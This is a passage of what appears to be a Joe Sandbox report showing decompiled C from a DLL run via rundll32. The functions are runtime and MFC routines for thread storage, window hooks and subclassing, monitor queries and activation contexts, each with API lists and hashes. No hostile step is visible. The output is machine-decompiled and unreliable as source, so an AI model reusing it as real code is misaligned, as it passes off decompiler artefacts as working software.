Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: ConvertDefaultLocale$Module$AddressHandleProc$CloseEnumFileH_prolog3LanguagesNameOpenQueryResourceValueVersion_memset_sscanf
String ID: Control Panel\Desktop\ResourceLocale$GetSystemDefaultUILanguage$GetUserDefaultUILanguage$kernel32.dll$ntdll.dll
API String ID: 434808117-483790700
Opcode ID: 391a7af3d11bcdbc6c68bf10dbaf9488a7631794da5acccd773ff9b8d76e3d4f
Instruction ID: 772d67b6ef5536ffa942379cc2d037747f9683b4a435f76ff704d577c4812cba
Opcode Fuzzy Hash: 391a7af3d11bcdbc6c68bf10dbaf9488a7631794da5acccd773ff9b8d76e3d4f
Instruction Fuzzy Hash: 638182B0D002699FEB10DFA5DC84AFEBBF9FB49350F500626E554E7280DB749A85CB60

Uniqueness

Uniqueness Score: -1.00%

Function 1001C11B, Relevance: 42.1, APIs: 19, Strings: 5, Instructions: 109
libraryloadermemoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 91%

			E1001C11B(void* __ebx) {
				void* __edi;
				void* __esi;
				_Unknown_base(*)()* _t7;
				long _t10;
				void* _t11;
				int _t12;
				void* _t18;
				intOrPtr _t21;
				long _t26;
				void* _t30;
				struct HINSTANCE__* _t37;
				void* _t40;
				void* _t42;

				_t30 = __ebx;
				_t37 = GetModuleHandleA("KERNEL32.DLL");
				if(_t37 != 0) {
					 *0x1005aea4 = GetProcAddress(_t37, "FlsAlloc");
					 *0x1005aea8 = GetProcAddress(_t37, "FlsGetValue");
					 *0x1005aeac = GetProcAddress(_t37, "FlsSetValue");
					_t7 = GetProcAddress(_t37, "FlsFree");
					__eflags =  *0x1005aea4;
					_t40 = TlsSetValue;
					 *0x1005aeb0 = _t7;
					if( *0x1005aea4 == 0) {
						L6:
						 *0x1005aea8 = TlsGetValue;
						 *0x1005aea4 = E1001BDD2;
						 *0x1005aeac = _t40;
						 *0x1005aeb0 = TlsFree;
					} else {
						__eflags =  *0x1005aea8;
						if( *0x1005aea8 == 0) {
							goto L6;
						} else {
							__eflags =  *0x1005aeac;
							if( *0x1005aeac == 0) {
								goto L6;
							} else {
								__eflags = _t7;
								if(_t7 == 0) {
									goto L6;
								}
							}
						}
					}
					_t10 = TlsAlloc();
					__eflags = _t10 - 0xffffffff;
					 *0x10057d30 = _t10;
					if(_t10 == 0xffffffff) {
						L15:
						_t11 = 0;
						__eflags = 0;
					} else {
						_t12 = TlsSetValue(_t10,  *0x1005aea8);
						__eflags = _t12;
						if(_t12 == 0) {
							goto L15;
						} else {
							E10018042();
							 *0x1005aea4 = E1001BD03( *0x1005aea4);
							 *0x1005aea8 = E1001BD03( *0x1005aea8);
							 *0x1005aeac = E1001BD03( *0x1005aeac);
							 *0x1005aeb0 = E1001BD03( *0x1005aeb0);
							_t18 = E1001A3D3();
							__eflags = _t18;
							if(_t18 == 0) {
								L14:
								E1001BE05();
								goto L15;
							} else {
								_push(E1001BF91);
								_t21 =  *((intOrPtr*)(E1001BD6F( *0x1005aea4)))();
								__eflags = _t21 - 0xffffffff;
								 *0x10057d2c = _t21;
								if(_t21 == 0xffffffff) {
									goto L14;
								} else {
									_t42 = E1001E76E(1, 0x214);
									__eflags = _t42;
									if(_t42 == 0) {
										goto L14;
									} else {
										_push(_t42);
										_push( *0x10057d2c);
										__eflags =  *((intOrPtr*)(E1001BD6F( *0x1005aeac)))();
										if(__eflags == 0) {
											goto L14;
										} else {
											_push(0);
											_push(_t42);
											E1001BE42(_t30, _t37, _t42, __eflags);
											_t26 = GetCurrentThreadId();
											 *(_t42 + 4) =  *(_t42 + 4) | 0xffffffff;
											 *_t42 = _t26;
											_t11 = 1;
										}
									}
								}
							}
						}
					}
					return _t11;
				} else {
					E1001BE05();
					return 0;
				}
			}

APIs

GetModuleHandleA.KERNEL32(KERNEL32.DLL,?,10017978,?,?,00000001,?,?,10017AE8,00000001,?,?,1002F840,0000000C,10017BA2,?), ref: 1001C121
__mtterm.LIBCMT ref: 1001C12D

Part of subcall function 1001BE05: __decode_pointer.LIBCMT ref: 1001BE16
Part of subcall function 1001BE05: TlsFree.KERNEL32(0000001F,10017A14,?,?,00000001,?,?,10017AE8,00000001,?,?,1002F840,0000000C,10017BA2,?), ref: 1001BE30

GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 1001C143
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 1001C150
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 1001C15D
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 1001C16A
TlsAlloc.KERNEL32(?,?,00000001,?,?,10017AE8,00000001,?,?,1002F840,0000000C,10017BA2,?), ref: 1001C1BA
TlsSetValue.KERNEL32(00000000,?,?,00000001,?,?,10017AE8,00000001,?,?,1002F840,0000000C,10017BA2,?), ref: 1001C1D5
__init_pointers.LIBCMT ref: 1001C1DF
__encode_pointer.LIBCMT ref: 1001C1EA
__encode_pointer.LIBCMT ref: 1001C1FA
__encode_pointer.LIBCMT ref: 1001C20A
__encode_pointer.LIBCMT ref: 1001C21A
__decode_pointer.LIBCMT ref: 1001C23B
__calloc_crt.LIBCMT ref: 1001C254
__decode_pointer.LIBCMT ref: 1001C26E
__initptd.LIBCMT ref: 1001C27D
GetCurrentThreadId.KERNEL32 ref: 1001C284

Strings

FlsSetValue, xrefs: 1001C152
FlsFree, xrefs: 1001C15F
FlsAlloc, xrefs: 1001C13D
KERNEL32.DLL, xrefs: 1001C11C
FlsGetValue, xrefs: 1001C145

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: AddressProc__encode_pointer$__decode_pointer$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__initptd__mtterm
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 2657569430-3819984048
Opcode ID: f8eb42d05a0f46123fcd151e30e2a53c2e7fcd681058195d0d7fb9ca21756e1b
Instruction ID: b5f7097eefea174a9ed91942db92a94305995674aef8197461d434292f48097b
Opcode Fuzzy Hash: f8eb42d05a0f46123fcd151e30e2a53c2e7fcd681058195d0d7fb9ca21756e1b
Instruction Fuzzy Hash: E4319335900735AFEB11EFB59CCEA4A3BF1EB46360B144526F5049A1B1EBB5D8C0CB60

Uniqueness

Uniqueness Score: -1.00%

Function 10011389, Relevance: 33.4, APIs: 16, Strings: 3, Instructions: 179
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E10011389(void* __ebx, intOrPtr __edi, void* __esi, void* __eflags) {
				intOrPtr _t54;
				void* _t55;
				signed int _t56;
				void* _t59;
				long _t60;
				signed int _t64;
				void* _t66;
				short _t72;
				signed int _t74;
				signed int _t76;
				long _t83;
				signed int _t86;
				signed short _t87;
				signed int _t88;
				int _t94;
				void* _t106;
				long* _t108;
				long _t110;
				signed int _t111;
				CHAR* _t112;
				intOrPtr _t113;
				void* _t116;
				void* _t119;
				intOrPtr _t120;

				_t119 = __eflags;
				_t105 = __edi;
				_push(0x148);
				E10017C2A(E1002866E, __ebx, __edi, __esi);
				_t110 =  *(_t116 + 0x10);
				_t94 =  *(_t116 + 0xc);
				_push(0x1000a0f5);
				 *(_t116 - 0x120) = _t110;
				_t54 = E10013D98(_t94, 0x10058f44, __edi, _t110, _t119);
				_t120 = _t54;
				_t97 = 0 | _t120 == 0x00000000;
				 *((intOrPtr*)(_t116 - 0x11c)) = _t54;
				_t121 = _t120 == 0;
				if(_t120 == 0) {
					_t54 = E1000A0DB(_t94, _t97, __edi, _t110, _t121);
				}
				if( *(_t116 + 8) == 3) {
					_t106 =  *_t110;
					_t111 =  *(_t54 + 0x14);
					_t55 = E1000D5EC(_t94, _t106, _t111, __eflags);
					__eflags = _t111;
					_t56 =  *(_t55 + 0x14) & 0x000000ff;
					 *(_t116 - 0x124) = _t56;
					if(_t111 != 0) {
						L7:
						__eflags =  *0x1005acbc;
						if( *0x1005acbc == 0) {
							L12:
							__eflags = _t111;
							if(__eflags == 0) {
								__eflags =  *0x1005a8dc;
								if( *0x1005a8dc != 0) {
									L19:
									__eflags = (GetClassLongA(_t94, 0xffffffe0) & 0x0000ffff) -  *0x1005a8dc; // 0x0
									if(__eflags != 0) {
										L23:
										_t59 = GetWindowLongA(_t94, 0xfffffffc);
										__eflags = _t59;
										 *(_t116 - 0x14) = _t59;
										if(_t59 != 0) {
											_t112 = "AfxOldWndProc423";
											_t64 = GetPropA(_t94, _t112);
											__eflags = _t64;
											if(_t64 == 0) {
												SetPropA(_t94, _t112,  *(_t116 - 0x14));
												_t66 = GetPropA(_t94, _t112);
												__eflags = _t66 -  *(_t116 - 0x14);
												if(_t66 ==  *(_t116 - 0x14)) {
													GlobalAddAtomA(_t112);
													SetWindowLongA(_t94, 0xfffffffc, E10011245);
												}
											}
										}
										L27:
										_t105 =  *((intOrPtr*)(_t116 - 0x11c));
										_t60 = CallNextHookEx( *(_t105 + 0x28), 3, _t94,  *(_t116 - 0x120));
										__eflags =  *(_t116 - 0x124);
										_t110 = _t60;
										if( *(_t116 - 0x124) != 0) {
											UnhookWindowsHookEx( *(_t105 + 0x28));
											_t50 = _t105 + 0x28;
											 *_t50 =  *(_t105 + 0x28) & 0x00000000;
											__eflags =  *_t50;
										}
										goto L30;
									}
									goto L27;
								}
								_t113 = 0x30;
								E100174D0(_t106, _t116 - 0x154, 0, _t113);
								 *((intOrPtr*)(_t116 - 0x154)) = _t113;
								_push(_t116 - 0x154);
								_push("#32768");
								_push(0);
								_t72 = E1000E5E2(_t94, _t97, _t106, "#32768", __eflags);
								__eflags = _t72;
								 *0x1005a8dc = _t72;
								if(_t72 == 0) {
									_t74 = GetClassNameA(_t94, _t116 - 0x118, 0x100);
									__eflags = _t74;
									if(_t74 == 0) {
										goto L23;
									}
									 *((char*)(_t116 - 0x19)) = 0;
									_t76 = E100199C1(_t116 - 0x118, "#32768");
									__eflags = _t76;
									if(_t76 == 0) {
										goto L27;
									}
									goto L23;
								}
								goto L19;
							}
							E1000D638(_t116 - 0x18, __eflags,  *((intOrPtr*)(_t111 + 0x1c)));
							 *(_t116 - 4) =  *(_t116 - 4) & 0x00000000;
							E1000FB9D(_t111, _t116, _t94);
							 *((intOrPtr*)( *_t111 + 0x50))();
							_t108 =  *((intOrPtr*)( *_t111 + 0xf0))();
							_t83 = SetWindowLongA(_t94, 0xfffffffc, E1001025C);
							__eflags = _t83 - E1001025C;
							if(_t83 != E1001025C) {
								 *_t108 = _t83;
							}
							 *( *((intOrPtr*)(_t116 - 0x11c)) + 0x14) =  *( *((intOrPtr*)(_t116 - 0x11c)) + 0x14) & 0x00000000;
							 *(_t116 - 4) =  *(_t116 - 4) | 0xffffffff;
							__eflags =  *(_t116 - 0x14);
							if( *(_t116 - 0x14) != 0) {
								_push( *(_t116 - 0x18));
								_push(0);
								E1000CEFC();
							}
							goto L27;
						}
						_t86 = GetClassLongA(_t94, 0xffffffe6);
						__eflags = _t86 & 0x00010000;
						if((_t86 & 0x00010000) != 0) {
							goto L27;
						}
						_t87 =  *(_t106 + 0x28);
						__eflags = _t87 - 0xffff;
						if(_t87 <= 0xffff) {
							 *(_t116 - 0x18) = 0;
							GlobalGetAtomNameA( *(_t106 + 0x28) & 0x0000ffff, _t116 - 0x18, 5);
							_t87 = _t116 - 0x18;
						}
						_t88 = E1000A7E1(_t87, "ime");
						__eflags = _t88;
						_pop(_t97);
						if(_t88 == 0) {
							goto L27;
						}
						goto L12;
					}
					__eflags =  *(_t106 + 0x20) & 0x40000000;
					if(( *(_t106 + 0x20) & 0x40000000) != 0) {
						goto L27;
					}
					__eflags = _t56;
					if(_t56 != 0) {
						goto L27;
					}
					goto L7;
				} else {
					CallNextHookEx( *(_t54 + 0x28),  *(_t116 + 8), _t94, _t110);
					L30:
					return E10017C74(_t94, _t105, _t110);
				}
			}

APIs

__EH_prolog3_GS.LIBCMT ref: 10011393

Part of subcall function 10013D98: __EH_prolog3.LIBCMT ref: 10013D9F

CallNextHookEx.USER32 ref: 100113D7

Part of subcall function 1000A0DB: __CxxThrowException@8.LIBCMT ref: 1000A0EF
Part of subcall function 1000A0DB: __EH_prolog3.LIBCMT ref: 1000A0FC

GetClassLongA.USER32 ref: 1001141B
GlobalGetAtomNameA.KERNEL32 ref: 10011445
SetWindowLongA.USER32(?,000000FC,Function_0001025C), ref: 1001149A
_memset.LIBCMT ref: 100114E4
GetClassLongA.USER32 ref: 10011514
GetClassNameA.USER32(?,?,00000100), ref: 10011535
GetWindowLongA.USER32 ref: 10011559
GetPropA.USER32 ref: 10011573
SetPropA.USER32 ref: 1001157E
GetPropA.USER32 ref: 10011586
GlobalAddAtomA.KERNEL32 ref: 1001158E
SetWindowLongA.USER32(?,000000FC,Function_00011245), ref: 1001159C
CallNextHookEx.USER32 ref: 100115B4
UnhookWindowsHookEx.USER32(?), ref: 100115C8

Strings

#32768, xrefs: 100114F6, 100114FB, 10011545
AfxOldWndProc423, xrefs: 1001156C, 10011571, 1001157C, 10011584, 1001158D
ime, xrefs: 1001144E

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Long$ClassHookPropWindow$AtomCallGlobalH_prolog3NameNext$Exception@8H_prolog3_ThrowUnhookWindows_memset
String ID: #32768$AfxOldWndProc423$ime
API String ID: 1191297049-4034971020
Opcode ID: a59f08c89f11fe6b3e13f01d104cbc0d9868f5cf59dfadfd77116e560bc0dc28
Instruction ID: 45731ac5847e6eda9355a9c996fe1b8867c86b30351497dbe8ef7f26860efac9
Opcode Fuzzy Hash: a59f08c89f11fe6b3e13f01d104cbc0d9868f5cf59dfadfd77116e560bc0dc28
Instruction Fuzzy Hash: 09619E31900666EFEB14DB61CC49BDE7BA9EF483A1F214254F506AB191DB34DEC1CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 1000D6C3, Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 77
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E1000D6C3() {
				void* __ebx;
				void* __esi;
				struct HINSTANCE__* _t5;
				_Unknown_base(*)()* _t6;
				_Unknown_base(*)()* _t7;
				_Unknown_base(*)()* _t8;
				_Unknown_base(*)()* _t9;
				_Unknown_base(*)()* _t10;
				_Unknown_base(*)()* _t11;
				_Unknown_base(*)()* _t12;
				struct HINSTANCE__* _t18;
				void* _t20;
				intOrPtr _t23;
				_Unknown_base(*)()* _t24;

				_t23 =  *0x1005a76c; // 0x0
				if(_t23 == 0) {
					_push(_t20);
					 *0x1005a770 = E1000D66B(0, _t20, __eflags);
					_t18 = GetModuleHandleA("USER32");
					__eflags = _t18;
					if(_t18 == 0) {
						L12:
						 *0x1005a750 = 0;
						 *0x1005a754 = 0;
						 *0x1005a758 = 0;
						 *0x1005a75c = 0;
						 *0x1005a760 = 0;
						 *0x1005a764 = 0;
						 *0x1005a768 = 0;
						_t5 = 0;
					} else {
						_t6 = GetProcAddress(_t18, "GetSystemMetrics");
						__eflags = _t6;
						 *0x1005a750 = _t6;
						if(_t6 == 0) {
							goto L12;
						} else {
							_t7 = GetProcAddress(_t18, "MonitorFromWindow");
							__eflags = _t7;
							 *0x1005a754 = _t7;
							if(_t7 == 0) {
								goto L12;
							} else {
								_t8 = GetProcAddress(_t18, "MonitorFromRect");
								__eflags = _t8;
								 *0x1005a758 = _t8;
								if(_t8 == 0) {
									goto L12;
								} else {
									_t9 = GetProcAddress(_t18, "MonitorFromPoint");
									__eflags = _t9;
									 *0x1005a75c = _t9;
									if(_t9 == 0) {
										goto L12;
									} else {
										_t10 = GetProcAddress(_t18, "EnumDisplayMonitors");
										__eflags = _t10;
										 *0x1005a764 = _t10;
										if(_t10 == 0) {
											goto L12;
										} else {
											_t11 = GetProcAddress(_t18, "GetMonitorInfoA");
											__eflags = _t11;
											 *0x1005a760 = _t11;
											if(_t11 == 0) {
												goto L12;
											} else {
												_t12 = GetProcAddress(_t18, "EnumDisplayDevicesA");
												__eflags = _t12;
												 *0x1005a768 = _t12;
												if(_t12 == 0) {
													goto L12;
												} else {
													_t5 = 1;
													__eflags = 1;
												}
											}
										}
									}
								}
							}
						}
					}
					 *0x1005a76c = 1;
					return _t5;
				} else {
					_t24 =  *0x1005a760; // 0x0
					return 0 | _t24 != 0x00000000;
				}
			}

APIs

GetModuleHandleA.KERNEL32(USER32,00000000,00000000,76925D80,1000D80F,?,?,?,?,?,?,?,1000F61E,00000000,00000002,00000028), ref: 1000D6EC
GetProcAddress.KERNEL32(00000000,GetSystemMetrics), ref: 1000D708
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 1000D719
GetProcAddress.KERNEL32(00000000,MonitorFromRect), ref: 1000D72A
GetProcAddress.KERNEL32(00000000,MonitorFromPoint), ref: 1000D73B
GetProcAddress.KERNEL32(00000000,EnumDisplayMonitors), ref: 1000D74C
GetProcAddress.KERNEL32(00000000,GetMonitorInfoA), ref: 1000D75D
GetProcAddress.KERNEL32(00000000,EnumDisplayDevicesA), ref: 1000D76E

Strings

MonitorFromWindow, xrefs: 1000D713
MonitorFromRect, xrefs: 1000D724
MonitorFromPoint, xrefs: 1000D735
GetMonitorInfoA, xrefs: 1000D757
EnumDisplayDevicesA, xrefs: 1000D768
GetSystemMetrics, xrefs: 1000D702
EnumDisplayMonitors, xrefs: 1000D746
USER32, xrefs: 1000D6E2

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: EnumDisplayDevicesA$EnumDisplayMonitors$GetMonitorInfoA$GetSystemMetrics$MonitorFromPoint$MonitorFromRect$MonitorFromWindow$USER32
API String ID: 667068680-68207542
Opcode ID: ee0e5f062bbe94e4a9e7c06d78520802f13055058268d31d10b74b4948bb3027
Instruction ID: 93615fb53cb164fe7f3d347b700eade87a81924dee4312457033af375ccc55a3
Opcode Fuzzy Hash: ee0e5f062bbe94e4a9e7c06d78520802f13055058268d31d10b74b4948bb3027
Instruction Fuzzy Hash: 7921E3B19097699BE701EF369DC856DBAF5F34F281391453FE109D2528EB3884C6EE20

Uniqueness

Uniqueness Score: -1.00%

Function 1000F530, Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 176
windowCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E1000F530(void* __ebx, intOrPtr __ecx, void* __edx, intOrPtr _a4) {
				signed int _v8;
				intOrPtr _v12;
				struct tagRECT _v28;
				struct tagRECT _v44;
				struct tagRECT _v60;
				struct tagRECT _v80;
				char _v100;
				void* __edi;
				intOrPtr _t58;
				struct HWND__* _t59;
				intOrPtr _t94;
				signed int _t103;
				struct HWND__* _t104;
				void* _t105;
				struct HWND__* _t107;
				long _t108;
				long _t116;
				void* _t119;
				struct HWND__* _t121;
				void* _t123;
				intOrPtr _t125;
				intOrPtr _t129;

				_t119 = __edx;
				_t105 = __ebx;
				_t125 = __ecx;
				_v12 = __ecx;
				_v8 = E10012862(__ecx);
				_t58 = _a4;
				if(_t58 == 0) {
					if((_v8 & 0x40000000) == 0) {
						_t59 = GetWindow( *(__ecx + 0x20), 4);
					} else {
						_t59 = GetParent( *(__ecx + 0x20));
					}
					_t121 = _t59;
					if(_t121 != 0) {
						_t104 = SendMessageA(_t121, 0x36b, 0, 0);
						if(_t104 != 0) {
							_t121 = _t104;
						}
					}
				} else {
					_t4 = _t58 + 0x20; // 0xc033d88b
					_t121 =  *_t4;
				}
				_push(_t105);
				GetWindowRect( *(_t125 + 0x20),  &_v60);
				if((_v8 & 0x40000000) != 0) {
					_t107 = GetParent( *(_t125 + 0x20));
					GetClientRect(_t107,  &_v28);
					GetClientRect(_t121,  &_v44);
					MapWindowPoints(_t121, _t107,  &_v44, 2);
				} else {
					if(_t121 != 0) {
						_t103 = GetWindowLongA(_t121, 0xfffffff0);
						if((_t103 & 0x10000000) == 0 || (_t103 & 0x20000000) != 0) {
							_t121 = 0;
						}
					}
					_v100 = 0x28;
					if(_t121 != 0) {
						GetWindowRect(_t121,  &_v44);
						E1000D86F(_t121, E1000D804(_t121, 2),  &_v100);
						CopyRect( &_v28,  &_v80);
					} else {
						_t94 = E1000A7CE();
						if(_t94 != 0) {
							_t94 =  *((intOrPtr*)(_t94 + 0x20));
						}
						E1000D86F(_t121, E1000D804(_t94, 1),  &_v100);
						CopyRect( &_v44,  &_v80);
						CopyRect( &_v28,  &_v80);
					}
				}
				_t108 = _v60.left;
				asm("cdq");
				_t123 = _v60.right - _t108;
				asm("cdq");
				_t120 = _v44.bottom;
				_t116 = (_v44.left + _v44.right - _t119 >> 1) - (_t123 - _t119 >> 1);
				_a4 = _v60.bottom - _v60.top;
				asm("cdq");
				asm("cdq");
				_t129 = (_v44.top + _v44.bottom - _v44.bottom >> 1) - (_a4 - _t120 >> 1);
				if(_t116 >= _v28.left) {
					if(_t123 + _t116 > _v28.right) {
						_t116 = _t108 - _v60.right + _v28.right;
					}
				} else {
					_t116 = _v28.left;
				}
				if(_t129 >= _v28.top) {
					if(_a4 + _t129 > _v28.bottom) {
						_t129 = _v60.top - _v60.bottom + _v28.bottom;
					}
				} else {
					_t129 = _v28.top;
				}
				return E1001297A(_v12, 0, _t116, _t129, 0xffffffff, 0xffffffff, 0x15);
			}

APIs

Part of subcall function 10012862: GetWindowLongA.USER32 ref: 1001286D

GetParent.USER32(?), ref: 1000F55D
SendMessageA.USER32 ref: 1000F580
GetWindowRect.USER32 ref: 1000F59A
GetWindowLongA.USER32 ref: 1000F5B0
CopyRect.USER32 ref: 1000F5FD
CopyRect.USER32 ref: 1000F607
GetWindowRect.USER32 ref: 1000F610
CopyRect.USER32 ref: 1000F62C

Strings

(, xrefs: 1000F5C8

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Rect$Window$Copy$Long$MessageParentSend
String ID: (
API String ID: 808654186-3887548279
Opcode ID: 7a74a446788f1e642fa1c3aef1600eb5c5d71207166799e974e91dfaab450861
Instruction ID: 3f3129d87232bc90929dbfd76231b55f7e5f3d8dd267dcccc126c4261812b80e
Opcode Fuzzy Hash: 7a74a446788f1e642fa1c3aef1600eb5c5d71207166799e974e91dfaab450861
Instruction Fuzzy Hash: 84517072900619AFEB00DFA8CC85EEEBBB9EF48290F154119FA05F3594DB30ED419B60

Uniqueness

Uniqueness Score: -1.00%

Function 1000A1F9, Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 56
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E1000A1F9(intOrPtr* __ecx, void* __esi, intOrPtr _a4) {
				void* __ebx;
				void* __edi;
				void* __ebp;
				_Unknown_base(*)()* _t9;
				struct HINSTANCE__* _t15;
				void* _t16;
				intOrPtr* _t18;
				char _t19;
				intOrPtr _t21;
				_Unknown_base(*)()* _t22;
				_Unknown_base(*)()* _t23;

				_t16 = __esi;
				_t12 = __ecx;
				_t18 = __ecx;
				 *__ecx = _a4;
				_a4 = 0;
				_t19 =  *0x10058f2c; // 0x0
				if(_t19 == 0) {
					_t15 = GetModuleHandleA("KERNEL32");
					_t20 = _t15;
					if(_t15 == 0) {
						L2:
						E1000A0DB(0, _t12, _t15, _t16, _t20);
					}
					 *0x10058f1c = GetProcAddress(_t15, "CreateActCtxA");
					 *0x10058f20 = GetProcAddress(_t15, "ReleaseActCtx");
					 *0x10058f24 = GetProcAddress(_t15, "ActivateActCtx");
					_t9 = GetProcAddress(_t15, "DeactivateActCtx");
					_t21 =  *0x10058f1c; // 0x0
					 *0x10058f28 = _t9;
					_t16 = _t16;
					if(_t21 == 0) {
						__eflags =  *0x10058f20; // 0x0
						if(__eflags != 0) {
							goto L2;
						} else {
							__eflags =  *0x10058f24; // 0x0
							if(__eflags != 0) {
								goto L2;
							} else {
								__eflags = _t9;
								if(__eflags != 0) {
									goto L2;
								}
							}
						}
					} else {
						_t22 =  *0x10058f20; // 0x0
						if(_t22 == 0) {
							goto L2;
						} else {
							_t23 =  *0x10058f24; // 0x0
							if(_t23 == 0) {
								goto L2;
							} else {
								_t20 = _t9;
								if(_t9 == 0) {
									goto L2;
								}
							}
						}
					}
					 *0x10058f2c = 1;
				}
				return _t18;
			}

APIs

GetModuleHandleA.KERNEL32(KERNEL32,00000000,?,00000020,1000ACB1,000000FF), ref: 1000A21B
GetProcAddress.KERNEL32(00000000,CreateActCtxA), ref: 1000A239
GetProcAddress.KERNEL32(00000000,ReleaseActCtx), ref: 1000A246
GetProcAddress.KERNEL32(00000000,ActivateActCtx), ref: 1000A253
GetProcAddress.KERNEL32(00000000,DeactivateActCtx), ref: 1000A260

Strings

DeactivateActCtx, xrefs: 1000A255
ReleaseActCtx, xrefs: 1000A23B
CreateActCtxA, xrefs: 1000A233
ActivateActCtx, xrefs: 1000A248
KERNEL32, xrefs: 1000A216

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: ActivateActCtx$CreateActCtxA$DeactivateActCtx$KERNEL32$ReleaseActCtx
API String ID: 667068680-3617302793
Opcode ID: 8958f846425cfb9847c1ef030b437731261e480fa3a980f3a7b160ae38ca1aab
Instruction ID: c20c66116e7296d4a0afd5037f2dffc74684b1862cb446d2da729e570b87d5d5
Opcode Fuzzy Hash: 8958f846425cfb9847c1ef030b437731261e480fa3a980f3a7b160ae38ca1aab
Instruction Fuzzy Hash: 3611C076C04266EBFB10DFA9ACC45097BE5E74F2D8301423FEA05A2124D7720980CF15

Uniqueness

Uniqueness Score: -1.00%

Function 1000CB74, Relevance: 16.6, APIs: 11, Instructions: 139
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E1000CB74(void* __ebx, signed int __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t54;
				void* _t58;
				signed int _t59;
				signed int _t63;
				signed short _t71;
				signed int _t84;
				void* _t94;
				struct HINSTANCE__* _t96;
				signed int _t97;
				void* _t98;
				signed int _t100;
				void* _t101;
				void* _t102;

				_t102 = __eflags;
				_t94 = __edx;
				_push(0x24);
